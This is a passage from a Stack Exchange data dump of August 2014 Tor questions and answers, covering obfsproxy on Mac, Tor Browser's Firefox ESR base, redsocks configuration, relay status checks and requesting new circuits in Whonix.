  <row Id="3793" PostTypeId="1" AcceptedAnswerId="3804" CreationDate="2014-08-09T10:00:17.897" Score="4" ViewCount="1046" Body="&lt;p&gt;I have downloaded and installed the Tor browser bundle v. 3.6.3 for Mac&#xA;Website says Obfsproxy is standard included in that one - which is correct- it works in Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I need to run it independently for use with OpenVPN.&#xA;On Windows this is really easy to run it from the TBB, it's just a matter of running the obfsproxy.exe from the Pluggable Transports folder with the necessary parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I simply cannot seem to find an executable file called obfsproxy anywhere inside the Tor Browser application package.&#xA;I am following for example this guide - &lt;a href=&quot;https://www.ivpn.net/knowledgebase/142/Tunnelblick---I-canandsharp039t-connect-from-China-or-Vietnam-or-Iran-etc.html&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; - which says it should be inside the package folder Contents/MacOS but it's not there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I run obfsproxy separately from the terminal?&lt;/p&gt;&#xA;" OwnerUserId="3375" LastEditorUserId="923" LastEditDate="2014-08-09T10:42:08.400" LastActivityDate="2023-06-30T19:28:49.653" Title="Tor Browser Bundle on Mac - how to run obfsproxy?" Tags="|tor-browser-bundle|pluggable-transports|obfsproxy|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3794" PostTypeId="1" CreationDate="2014-08-09T11:35:52.973" Score="2" ViewCount="140" Body="&lt;p&gt;Can Tor be used to log in skype when it is blocked at my work place?&#xA;At the work place when skype is blocked, how can I use skype? will Tor help me?&lt;/p&gt;&#xA;" OwnerUserId="3376" LastEditorUserId="88" LastEditDate="2016-04-07T16:25:08.970" LastActivityDate="2016-04-07T16:25:08.970" Title="Can Tor be used to log in skype when it is blocked at work place?" Tags="|censorship|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3795" PostTypeId="2" ParentId="3775" CreationDate="2014-08-09T12:24:22.980" Score="5" Body="&lt;p&gt;Raspberry Pi is good for this.&#xA;Add the repository,  install Tor and configure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can clone the memory-card and put it in a new one for easy setup of multiple Raspberry Pi's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For updates just make a &lt;code&gt;cron&lt;/code&gt; job that updates packages every X day. Then the Pi will pull the latest updates without the user having to do anything.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="88" LastEditDate="2014-08-12T13:08:55.657" LastActivityDate="2014-08-12T13:08:55.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3796" PostTypeId="1" CreationDate="2014-08-09T19:08:24.463" Score="1" ViewCount="127" Body="&lt;p&gt;Although I stick to the predetermined browser option when installed it doesn't work when a link (http) is opened. What's the matter? &#xA;Further more, Tor doesn't appear among the installed programs list of the Windows control panel! &#xA;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="3377" LastEditorUserId="923" LastEditDate="2014-08-09T20:00:16.140" LastActivityDate="2014-08-13T05:37:50.300" Title="Configure Tor as the predetermined browser in a PC Win Vista" Tags="|tor-browser-bundle|configuration|windows|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3797" PostTypeId="2" ParentId="3796" CreationDate="2014-08-09T19:50:49.650" Score="1" Body="&lt;p&gt;The Tor browser does not need installation. All you need to do is unpack the torbrowser-install package. It does not appear among the installed program list of the control panel because it is not installed. It is only unpacked. There is HTTPS Everywhere plug-in activated in Tor browser to provide encrypted version of web pages to users for their protection when an encrypted version of a site is available.&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-08-09T19:50:49.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3798" PostTypeId="2" ParentId="3796" CreationDate="2014-08-09T19:50:54.990" Score="1" Body="&lt;p&gt;You're not doing anything wrong. The Tor browser isn't an installed program. It's just an executable in a folder that you've extracted somewhere. As such, it can't be specified as the default application for HTTP/HTTPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12763&quot; rel=&quot;nofollow&quot;&gt;Tor ticket 12763&lt;/a&gt;, I see this comment by mcs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Replying to lunar:&lt;br&gt;&#xA;  &lt;br&gt;&#xA;  | Do we want Tor Browser to become the default system browser? Correct me if I'm wrong,&lt;br&gt;&#xA;  | but I believe this has privacy implications. Applications would be able to easily open URLs&lt;br&gt;&#xA;  | within the Tor Browser, and link Tor activities with what they know about the system.&lt;br&gt;&#xA;  &lt;br&gt;&#xA;  I agree that applications may be able to take advantage of the fact that the Tor Browser is the default browser. I don't think making TB the system default is something the Tor Project is likely to recommend or do automatically, but some people may want to do so.&lt;br&gt;&#xA;  &lt;br&gt;&#xA;  I am closing this bug.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I haven't found anything specific about setting the Tor browser as default in Windows, but maybe I didn't search enough.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2014-08-13T05:37:50.300" LastActivityDate="2014-08-13T05:37:50.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3799" PostTypeId="2" ParentId="3794" CreationDate="2014-08-10T00:28:22.393" Score="3" Body="&lt;p&gt;Trying to circumvent anything that's blocked at your workplace may get you fired. And in any case, Tor isn't a good choice for Skype. That's because Skype works best using UDP for voice data, and Tor doesn't handle UDP traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet is asking IT support about this. If you're determined to go it alone, you'll have better results with a VPN service, which can handle UDP traffic, and will be much faster.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-08-10T00:28:22.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3800" PostTypeId="1" CreationDate="2014-08-10T07:06:45.443" Score="3" ViewCount="10865" Body="&lt;p&gt;The current Tor browser bundle (3.6.3) appears to be based on Firefox at version 24.7.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this an independant Tor browser version, unrelated to the latest Firefox version (31.0), or the version of Firefox on which the Tor browser is based?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the Tor browser kept up-to-date with the latest Firefox browser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, can one &quot;Tor-ize&quot; the latest Firefox browser upon each new release?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3380" LastEditorUserId="88" LastEditDate="2014-08-11T12:10:50.553" LastActivityDate="2014-08-14T11:58:38.200" Title="Tor browser vs Firefox browser?" Tags="|tor-browser-bundle|firefox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3802" PostTypeId="1" CreationDate="2014-08-10T10:17:14.520" Score="1" ViewCount="1070" Body="&lt;p&gt;I'm trying to redirect some port 443 connections through tor using redsocks. But when redsocks accesses tor, the client connections get dropped, and tor gives this warning:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[warn] Missing mapping for virtual address '[scrubbed]'. Refusing.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using Tor 0.2.4.23 and redsocks/0.4 with Osx 10.9.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The redirection is done with pfctl in &lt;code&gt;pf.conf&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rdr pass on $src inet proto tcp from any to any port 443 -&amp;gt; 127.0.0.1 port 8888&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't have an idea what the issue is here. Plz, someone help! :)&lt;/p&gt;&#xA;" OwnerUserId="3382" LastEditorUserId="100" LastEditDate="2014-08-11T21:28:20.713" LastActivityDate="2015-02-08T00:15:28.920" Title="redsocks redirect port 443 -&gt; Tor: Missing mapping for virtual address" Tags="|mac|ssl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3803" PostTypeId="1" CreationDate="2014-08-10T11:47:08.887" Score="1" ViewCount="55" Body="&lt;p&gt;I'm using Tor browser bundle (for arch linux, based on firefox esr 24.6.0) off and on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;recently I tried posting on ubuntu forums - I have a valid account, and I can log in and browse, but every time I want to actually post something, forums log me out and I see this message: &quot;The administrator may have required you to register before you can view this page.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tried to slacken Tor settings a little (unchecked everything except flash in torbutton -&gt; preferences -&gt; security settings) but the problem remains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somehow, after completing my registration, I was assigned a new username...&#xA;so, I am the same guy who asked the above question.&#xA;thanks mirimir for the comment, I was subsequently able to post on ubuntuforums but I suspect it succeeded because I did it only a few seconds after logging in, and not because I visited &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://check.torproject.org/&lt;/a&gt; beforehand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is:&#xA;Can I tell Tor to not change nodes randomly?&#xA;At least until I finish my business on one forum?&#xA;Or would that be too insecure?&lt;/p&gt;&#xA;" OwnerUserId="3383" LastEditorUserId="923" LastEditDate="2014-08-19T17:24:30.500" LastActivityDate="2014-08-19T17:24:30.500" Title="Ubuntuforums logs me out, can't post replies" Tags="|firefox|linux|ubuntu|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3804" PostTypeId="2" ParentId="3793" CreationDate="2014-08-10T13:32:55.947" Score="2" Body="&lt;p&gt;Here you go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cd TorBrowser.app/Tor/PluggableTransports&#xA;$ ./obfsproxy.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user66" LastActivityDate="2014-08-10T13:32:55.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3805" PostTypeId="2" ParentId="3555" CreationDate="2014-08-10T18:20:23.937" Score="1" Body="&lt;p&gt;Yes, yes, and no.  Yes you can bypass Microsoft Family Saftey when you use Tor. Your employer can find that you are using tor, but as for seeing what you are viewing the answer is no.  If your employer were to look at the packets being sent from the computer all that would be there to be seen would be of no use, as it would be garbled, seemingly random text because tor encrypts packets.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This all is assuming that your employer is not using any other means for witch to spy on their systems.  This could be anything from a keylogger (software or hardware) to a screen capturing software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see a similar example : &lt;a href=&quot;https://www.theprivacyblog.com/anonymity/why-tor-failed-to-hide-the-bomb-hoaxer-at-harvard/&quot; rel=&quot;nofollow&quot;&gt;https://www.theprivacyblog.com/anonymity/why-tor-failed-to-hide-the-bomb-hoaxer-at-harvard/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="903" LastEditorUserId="903" LastEditDate="2014-08-10T18:25:30.530" LastActivityDate="2014-08-10T18:25:30.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3806" PostTypeId="1" AcceptedAnswerId="3807" CreationDate="2014-08-10T19:14:53.280" Score="1" ViewCount="118" Body="&lt;p&gt;Does the browser bundle already route downloads through Tor or do I have to use Tails to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="3385" LastEditorUserId="923" LastEditDate="2014-08-19T17:17:24.200" LastActivityDate="2014-08-19T17:17:24.200" Title="Tor Browser Bundle: Are files downloaded using Tor?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3807" PostTypeId="2" ParentId="3806" CreationDate="2014-08-10T19:19:21.790" Score="3" Body="&lt;p&gt;Yes. TBB downloads files through Tor.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-08-10T19:19:21.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3808" PostTypeId="2" ParentId="3784" CreationDate="2014-08-10T20:32:20.193" Score="6" Body="&lt;p&gt;Yes it can be scanned.&#xA;People can scan for services as they do on clearnet,  by routing their scanner through tor pointing it at the domain.&#xA;A onion domain is not to be considered a secret.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im not sure about your vpn question, but you can look at this answer here for some hints on how to make the domain private:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/a/3762/112&quot;&gt;https://tor.stackexchange.com/a/3762/112&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-08-13T17:51:56.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3809" PostTypeId="2" ParentId="3802" CreationDate="2014-08-10T22:33:33.823" Score="1" Body="&lt;p&gt;For that to work, you need a &lt;code&gt;SocksPort&lt;/code&gt; line in Tor's configuration file, &lt;code&gt;torrc&lt;/code&gt;. Using &lt;code&gt;OS X&lt;/code&gt;, that's probably &lt;code&gt;~/.tor/torrc&lt;/code&gt; or &lt;code&gt;/Library/Tor/torrc&lt;/code&gt;. You need to add this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 8888&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-08-10T22:33:33.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3810" PostTypeId="2" ParentId="3784" CreationDate="2014-08-10T23:20:25.517" Score="3" Body="&lt;p&gt;Yes, adversaries can scan foo.onion addresses. If you want multiple hidden services that can't be found by port scanning a particular foo.onion address, just use a different HiddenServiceDir for each HiddenServicePort. Then each hidden service will have its own foo.onion address.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-08-10T23:20:25.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3812" PostTypeId="1" AcceptedAnswerId="3839" CreationDate="2014-08-11T05:23:04.787" Score="3" ViewCount="4925" Body="&lt;p&gt;My question is not a duplicate of this &lt;a href=&quot;https://tor.stackexchange.com/questions/3412/is-my-isp-throttling-the-bandwidth-of-my-tor-relay&quot;&gt;question&lt;/a&gt; as in that it is asked only about Tor relay and the user has not given perfect bandwidth allocation of the ISP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can normally check whether your ISP is blocking the Torrent download by simply seeing the download speed (which is way less then your real speed i.e. 60Kbps instead of 6Mbps)but how can I check whether Tor is being limited or restricted by the ISP ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any method to check whether my ISP is really into blocking / limiting my Tor usage (Tor usage may include setting up a relay and/or exit nodes) traffic which is done either through the Tor software or the browser bundle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If at all the ISP is serious in blocking / limiting it's bandwidth  for Tor then what are the steps to be taken to free my self from this limitations?&lt;/p&gt;&#xA;" OwnerUserId="3071" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-08-14T13:21:48.823" Title="How can I know whether my ISP is limiting Tor on its bandwidth" Tags="|tor-browser-bundle|bandwidth|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3813" PostTypeId="1" AcceptedAnswerId="4040" CreationDate="2014-08-11T11:45:23.240" Score="2" ViewCount="351" Body="&lt;p&gt;When I have a node running, lets say an Entry Guard, that also acts as a Directory Mirror. Will the bandwidth used sending directory information also count towards the consensus weight?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if so or if not so, what is the reason behind this?&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-09-06T21:08:56.267" Title="Does Directory Traffic count towards Consensus Weight?" Tags="|relays|directory|bandwidth|consensus|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3815" PostTypeId="1" AcceptedAnswerId="3827" CreationDate="2014-08-11T21:21:14.527" Score="9" ViewCount="9706" Body="&lt;p&gt;This is the first time I'm running a relay. Doing it on a raspbian, and I've got some short questions. Be ready: I'm a newb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm only controlling my raspberry via SSH, so no GUIs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I opened ports on my firewall. /var/log/tor/log tells me there is a successfull circuit, bootstrapped 100%. Good, right? Then there is something that confuses me:&#xA;[notice] Interrupt: exiting cleanly.&#xA;I was not expecting this. Does anyone know what it means? Moreover, arm gives only positive output on connectivity related things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everytime I open arm it tells me my relay is unresponsive. About 15 seconds later it notices that the relay is resumed. I do see some activity on the traffic graphs. Why is this? Is my relay stopped as soon as i close arm? (I presume not, the tor service and process are still running after). Is there a way to verify traffic is coming in and out, without using arm? arm doesn't show an uptime in it's interface, where it should. Is this related?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Traffic has stopped almost completely after +/- 2 days. This is not what I was expecting after reading the post on torproject blog about traffic amounts from new relays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the use for tor and arm to run as a unique user? Security related reasons? Standard linux stuff?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extra info: The relay has flags RUnning, V2Dir, Valid&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope someone takes the time to answer these questions. Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: some tags to this post weren't accepted, so the only tag is arm.&lt;/p&gt;&#xA;" OwnerDisplayName="user3393" LastEditorDisplayName="user3393" LastEditDate="2014-08-12T17:03:56.377" LastActivityDate="2018-07-14T13:38:46.793" Title="How can I verify my relay is working?" Tags="|relays|configuration|nyx|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3816" PostTypeId="1" CreationDate="2014-08-11T21:27:18.793" Score="4" ViewCount="1939" Body="&lt;p&gt;I'm using Whonix Gateway and Workstation. I can request a new tor circuit in the Gateway via arm, I press &quot;n&quot;. How can I do this in the Workstation terminal?&lt;/p&gt;&#xA;" OwnerUserId="3394" LastActivityDate="2014-08-12T00:05:33.013" Title="How to request new circuit from within workstation?" Tags="|whonix|nyx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3817" PostTypeId="2" ParentId="3816" CreationDate="2014-08-11T22:40:23.870" Score="1" Body="&lt;p&gt;Do once. (Install missing dependencies. Only required for Whonix 8. Will be no longer required on Whonix 9.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get update&#xA;sudo apt-get install telnet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do every time you want a new circuit. Run &lt;code&gt;tor-ctrl&lt;/code&gt; (installed by default) with &lt;code&gt;signal newnym&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bash -x tor-ctrl -p notrequired -c &quot;signal newnym&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you see at the bottom of the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;+ sendcmd signal newnym&#xA;+ echo signal newnym&#xA;+ sleep 1&#xA;+ sendcmd QUIT&#xA;+ echo QUIT&#xA;+ sleep 1&#xA;+ STR='Trying 127.0.0.1...&#xA;Connected to 127.0.0.1.&#xA;Escape character is '\''^]'\''.&#xA;250 OK&#xA;250 OK'&#xA;+ vecho 'Trying 127.0.0.1...&#xA;Connected to 127.0.0.1.&#xA;Escape character is '\''^]'\''.&#xA;250 OK&#xA;250 OK'&#xA;+ '[' 0 -ge 1 ']'&#xA;+ echo 'Trying 127.0.0.1...&#xA;Connected to 127.0.0.1.&#xA;Escape character is '\''^]'\''.&#xA;250 OK&#xA;250 OK'&#xA;++ grep -c '^250 '&#xA;+ '[' 2 = 3 ']'&#xA;+ exit 1&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it succeeded. (&lt;code&gt;exit 1&lt;/code&gt; is a bug in tor-ctrl, because it doesn't understand the double &lt;code&gt;250 OK&lt;/code&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full disclosure: &lt;br /&gt;&#xA;I am a maintainer of Whonix.&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="80" LastEditDate="2014-08-11T22:56:47.187" LastActivityDate="2014-08-11T22:56:47.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3818" PostTypeId="2" ParentId="3781" CreationDate="2014-08-11T22:56:12.757" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why would an open source host make Whonix and VirtualBox safer?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Less likely to include a backdoor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open Source: Security by openness / correctness [see wikipedia]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Closed Source: Security by obscurity [see wikipedia]&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The question is what implications does this have on anonymity/Tor?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Generally it can be said, anonymity requires security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It depends on your threat model. Whom you're hiding from. If you adversary has access to the backdoor, depending on the type of backdoor, you cannot hide from that adversary. If you just want privacy from search engines and such, they might not have access to the backdoor / not using it, in that case, no big difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can make up theoretic cases were the backdoor matters or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's suppose(!) [pure speculation / thought experiment] there was a [hardware] backdoor, that logs key strokes and/or desktop screenshots and communicates them by modifying the timing [or...] of outgoing TCP packages. If an ISP knew about that backdoor and was passively eavesdropping, you would have no privacy at all. When that ISP is also the one you want to hide from, you see now why you're better off not having a backdoor.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2014-08-11T22:56:12.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3820" PostTypeId="1" CreationDate="2014-08-12T00:28:39.413" Score="1" ViewCount="378" Body="&lt;p&gt;It is well known that a college that you are attending has access to your browsing history. Does Tor prevent this injustice?&lt;/p&gt;&#xA;" OwnerUserId="3395" LastActivityDate="2014-08-14T13:15:11.757" Title="Can a college access your Tor browsing history?" Tags="|anonymity|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3821" PostTypeId="2" ParentId="3820" CreationDate="2014-08-12T06:02:17.993" Score="2" Body="&lt;p&gt;Assuming the computer is yours, then no, they can't access your browsing history. They can know you are using Tor though.&lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2014-08-12T06:02:17.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3822" PostTypeId="2" ParentId="3800" CreationDate="2014-08-12T07:27:00.797" Score="4" Body="&lt;p&gt;The Tor Browser Bundle (TBB) uses &lt;a href=&quot;https://www.mozilla.org/en-US/firefox/organizations/faq/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mozilla Firefox ESR&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Mozilla will offer an Extended Support Release (ESR) based on an official release of Firefox for desktop for use by organizations including schools, universities, businesses and others who need extended support for mass deployments.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since TBB has the goal to be secure and stable, it uses the ESR version, not the  latest and greatest Firefox. The TBB is regularly updated with the latest version of Firefox ESR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About the difference to the &quot;normal&quot; Firefox:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Users who want to get the latest features, performance enhancements and technologies in their browsing experience should download Firefox for personal use, as these improvements will only be available to ESR users several development cycles after being made available in Firefox for desktop.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On August, 12th 2014 &lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-364-and-40-alpha-1-are-released&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser 4.0-alpha-1 was released&lt;/a&gt;. Part of the release notes for this version is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Update Firefox to 24.7.0esr&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is an example of how the Tor project keeps track of the latest versions of Mozilla Firefox ESR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mozilla Firefox ESR 31.0 is too young to be included in the TBB. It is not out of the &quot;qualify&quot; phase for a new ESR. See &lt;a href=&quot;https://www.mozilla.org/en-US/firefox/organizations/faq/&quot; rel=&quot;nofollow noreferrer&quot;&gt;the life cycle chart at Mozilla&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MF2cB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user66" LastEditorDisplayName="user66" LastEditDate="2014-08-14T11:58:38.200" LastActivityDate="2014-08-14T11:58:38.200" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3823" PostTypeId="1" CreationDate="2014-08-12T18:01:31.287" Score="1" ViewCount="1234" Body="&lt;p&gt;I have Tor Browser 3.6.3 (secure browser based on Firefox 24.7.0).&#xA;I want to run Unity3d game like : &lt;a href=&quot;https://apps.facebook.com/dragons_world/&quot; rel=&quot;nofollow&quot;&gt;https://apps.facebook.com/dragons_world/&lt;/a&gt;&#xA;&lt;br&gt;&lt;br&gt;I've installed Unity Player promted, but it doesn`t appears on Tor restart.&#xA;What should I do?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastActivityDate="2014-08-12T21:24:27.570" Title="How can I install Unity Player for Tor Browser 3.6.3?" Tags="|tor-browser-bundle|firefox|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3824" PostTypeId="2" ParentId="3823" CreationDate="2014-08-12T21:24:27.570" Score="1" Body="&lt;p&gt;Tor does not support, nor will support any additional plugins for the browser.  I asked this questing a few months ago, and they dolt me the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you can try &lt;a href=&quot;https://support.mozilla.org/en-US/questions/976357&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;. I have no clue what registry tor takes, but I would guess that it is somewhat similar to the one firefox occupies.&lt;/p&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2014-08-12T21:24:27.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3825" PostTypeId="1" CreationDate="2014-08-12T21:36:14.580" Score="0" ViewCount="90" Body="&lt;p&gt;i am looking to create a RELAY_SENDME cell but can not find the structure for these in the documentation, does anyone know the format fr these cells&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3075" LastActivityDate="2014-08-12T21:41:50.630" Title="RELAY_SENDME cell structure" Tags="|source-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3826" PostTypeId="2" ParentId="3825" CreationDate="2014-08-12T21:41:50.630" Score="1" Body="&lt;p&gt;Is this what you are looking for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/tor-spec.txt&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/torspec.git/blob/HEAD:/tor-spec.txt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-08-12T21:41:50.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3827" PostTypeId="2" ParentId="3815" CreationDate="2014-08-12T21:52:45.710" Score="4" Body="&lt;p&gt;The exiting cleanly sounds like you or something else is closing Tor. Can you check whether the process is still running?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can it be that you run the Tor command in foreground (seeing all the output) and then close the SSH session? If you do so Tor will be shut down. You may want to adapt /etc/tor/torrc and then use &lt;code&gt;service start tor&lt;/code&gt;. This will start Tor as a daemon in background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A way to check the status of your Tor relay is using &lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Atlas&lt;/a&gt; or &lt;a href=&quot;https://globe.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Globe&lt;/a&gt;, however the information on this page is not displayed in real time, so you have to wait a couple of hours until status changes, such as the running flag are reflected there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for traffic: If you manage to keep Tor running in a stable way (so 24/7 or close to that) you will receive a stable flag and most likely see more traffic. If Tor shuts down, as 